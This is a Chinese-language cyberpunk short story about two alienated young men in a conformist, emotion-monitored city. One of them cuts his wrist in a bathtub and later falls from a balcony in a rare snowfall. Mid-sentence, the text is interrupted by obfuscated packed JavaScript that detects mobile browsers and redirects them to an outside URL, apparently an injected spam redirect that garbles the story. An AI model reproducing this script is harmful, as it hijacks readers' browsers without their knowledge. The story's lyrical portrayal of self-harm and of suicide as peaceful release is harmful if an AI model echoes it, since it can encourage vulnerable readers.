蓝色的光打在他的侧脸上，让他的神情看起来既迷离又冷漠，嘴里叼着一根没点燃的烟，那种姿态像极了那个关于千禧年的旧梦。 “你有没有觉得，我们一直在原地打转？”他吐出一口气，并没有烟雾，只有白色的寒气，“这条路，我们好像走了几辈子，从台北走到巴黎，从1999年走到2049年，却始终没有走出这条隧道。” 我没有回答，因为喉咙里塞满了一种叫做“宿命”的棉絮。 回到那间像水族箱一样的公寓，阿生就把自己关进了浴室，水声响了很久。我坐在客厅的旧沙发上，手里拿着那本从违禁品市场买来的书，书页已经发黄变脆，一翻开就会掉下细碎的纸屑。那是一本关于巴黎的书，关于一个住在蒙马特高地、最后在浴缸里用刀片结束自己生命的作家的遗书。我读着那些句子，那些字句像是带血的刀片，一片一片地割开这个完美世界的表皮。 “世界总是没有错的。” 书上这么写着。 是的，世界没有错。外面的全息广告牌正在播放最新的征兵广告，号召年轻人为了维护数据的纯洁而战，街上的行人都佩戴着情绪监测手环，一旦数值异常就会自动注射多巴胺。每个人都健康，每个人都快乐，每个人都正确。错的是我们，是我们太敏感，是我们太脆弱，是我们一定要去追究那些所谓的“真实”，是我们明明可以活在温暖的培养皿里，却偏偏要去向往外面狂风暴雨的荒原。我们不能免除于世界的伤害，于是我们就要长期生着灵魂的病。 浴室的水声停了。过了很久，阿生没有出来。 我推开门，浴室里弥漫着浓重的水汽，镜子上全是雾气，模糊地映出两个影子。阿生躺在浴缸里，水漫过了他的胸口，漂浮着几根脱落的头发。他手里拿着一把修眉刀，刀刃在灯光下闪着寒光。 并没有血。在这个时代，连自杀都变得艰难，痛觉阻断剂和纳米修复虫会阻止任何试图伤害□□的行为。但他还是在割，他一遍又一遍地用刀刃划过自己的手腕，划过那条埋藏着身份芯片的静脉，动作执着而机械。 “我在找我的血，”他没有抬头，眼神空洞地盯着水面，“我想看看，流出来的到底是红色的血，还是蓝色的冷却液。我想确认我这件人皮底下，到底有没有那只鳄鱼。” 我走过去，跪在浴缸边，握住他的手。他的手冰冷，湿滑，像是某种刚刚被打捞上来的深海生物。那一刻，我们不需要语言，我们通过这种病态的仪式完成了某种共振。在这个不允许生病的世界里，固执地保持着伤口不愈合，是我们唯一的特权。 那晚之后，阿生开始出现严重的“解离症”。这是一种流行在旧人类中的精神瘟疫，患者会分不清现实与记忆，分不清自己与他人的边界。他开始对着空气说话，对着那个并没有信号的旧式录音机发呆，磁带转动的沙沙声成了这个房间里唯一的呼吸。他说他在给一个叫“佐伊”的人写信，虽然他根本不认识谁叫佐伊，也许那是他臆想出来的另一个自己，一个在平行时空里没有生病的自己。 那天，阿生带我去黑市找那个传说中的老医生。 那个医生能给断掉的腿换上碳纤维，能给瞎掉的眼装上军用级的义眼，甚至能把一颗停止跳动的心脏换成永不疲倦的机械泵。 阿生指着自己的胸口，那个位置没有任何外伤，但他却痛得直不起腰。 “给我装一个吧。”他求那个医生，“给我装一个不会感到愧疚、不会感到恶心、不会因为记得六岁那年为了得到一朵小红花而出卖同桌偷看连环画而半夜惊醒的东西。” 医生停下了手里沾满机油的活计，抬起那双浑浊的电子眼，像看疯子一样看着他。 “没有那种东西。”医生冷冷地说，“这里只修零件，不修灵魂。灵魂坏了就是坏了，它没有义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088289|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肢，也没有备件库。一旦你学会了要把朋友推下悬崖来换取自己的安全，那道裂痕就会永远刻在那里，哪怕你把全身都换成不锈钢，那道裂痕也会生锈，一直锈穿你的骨头。” 阿生走出诊所的时候，天开始下雨。 他看着路边全息投影里的学校广告，那些孩子笑得那么灿烂，眼神却那么警惕。他们互相盯着，像是在盯着一个个潜在的敌人，又像是在盯着一个个行走的功勋值。 “你看。”阿生对我说，“那里不是学校。那是零件加工厂。我们在那里被敲掉了信任的骨头，然后被塞进社会这个巨大的绞肉机里。我们都是残疾人，从六岁那年开始就是了。” 雨水顺着他的脸颊流下来，流进那个空荡荡的衣领里。 我知道，他说的是对的。在这个世界里，肢体的残缺可以用金属填补，但那种被制度化切除的良知，那种因为从小被鼓励互相撕咬而留下的精神幻痛，是任何赛博技术都无法治愈的绝症。 我们是彻头彻尾的残废，在一片没有义肢的荒原上，假装健全地行走。 那天之后他开始渴望雪。渴望那种能把所有的声音都吸进去的雪，渴望那种能把过去像尸体一样埋起来的雪。他说他想去北海道，去那个只有在老电影里才存在的夕张，去那个把脸埋进雪堆里就能冻结悲伤的地方。 可是这里没有雪。温控系统不会允许气温低于十度，这里只有模拟的黄昏和永恒的细雨。 终于有一天，城市的温控中枢发生了极其罕见的故障。原本应该维持在二十四度的气温，骤降到了零度以下。全息穹顶闪烁了几下，熄灭了。灰白色的天空露了出来，像是死人的眼白。 然后，真的下雪了。 不是那种为了营造节日气氛而喷洒的泡沫雪，而是真正的、冰冷的、由水蒸气凝结而成的晶体。我醒来的时候，床上是空的，阳台的门开着，寒风灌进来，把桌上的书页吹得哗哗作响。 我走到阳台上。阿生站在那里，他没有穿那件厚重的复古夹克，只穿了一件单薄的衬衫。他趴在栏杆上，把脸埋进了积在栏杆上的那一层薄薄的雪里，他的肩膀在耸动。 我没有走过去。我知道他在干什么。 他在模仿那个动作，那个电影结尾的动作，那个把脸埋进雪里，试图掩盖哭声，试图把所有的过去都冻结在这一刻的动作。他在哭，在这个禁止悲伤、禁止流泪、禁止一切负面情绪的城市里，他正在进行一场无声的、激烈的暴动。 雪花落在他裸露的后颈上，落在他那头黑发上，慢慢堆积。在那一刻，周围那些巨大的霓虹灯牌、那些穿梭的物流胶囊、那些代表着未来与科技的钢铁丛林，全部都褪色了。 天地间只剩下这一种颜色。虚无的白，纯净的白，死亡的白。 我仿佛听见了一个声音，穿越了时空的隧道，在我耳边轻声念道：“她在那边，不管是豪豪还是杰克，都像雪花一样，融化了，不见了。” 阿生转过身。他的脸冻得通红，睫毛上挂着冰晶，他的眼神不再空洞，而是充满了一种从未有过的、清澈的宁静。他看着我，又好像透过我，看着那个并不存在的摄像机。 他笑了。那是一个属于人类的、破碎的、却又无比生动的笑容。 然后，他向后倒去。像一片蓝色的羽毛，坠入了下方那深不见底的、流光溢彩的城市深渊。 他终于不用再穿那件紧身的人皮了，他终于可以做回一只鳄鱼，潜入深海，或者是飞向那个只有在老电影里才存在的、会下雪的北方。 我依然住在那间公寓里。那个空了的凤梨罐头被我洗干净，用来养了一株枯死的植物。那本关于蒙马特的书被我藏进了地板的缝隙里。 我继承了他的习惯，我穿着那件磨损的夹克，走在那条蓝色的隧道里。有时候，我会停下来，点燃一支烟，蓝色的烟雾在闪烁的灯光下升腾，变幻出各种形状。 我会回过头。身后空无一人，只有漫长的、幽深的甬道，延伸向无尽的黑暗。 但我并不感到孤独。 因为我知道，在这座城市的某个角落，在某个被遗忘的数据流里，或者在某场突如其来的大雨中，依然有人在和我共享着同一种频率。 我们并没有走出那条隧道，我们只是在里面，把那一刹那的回眸，拉长成了永恒。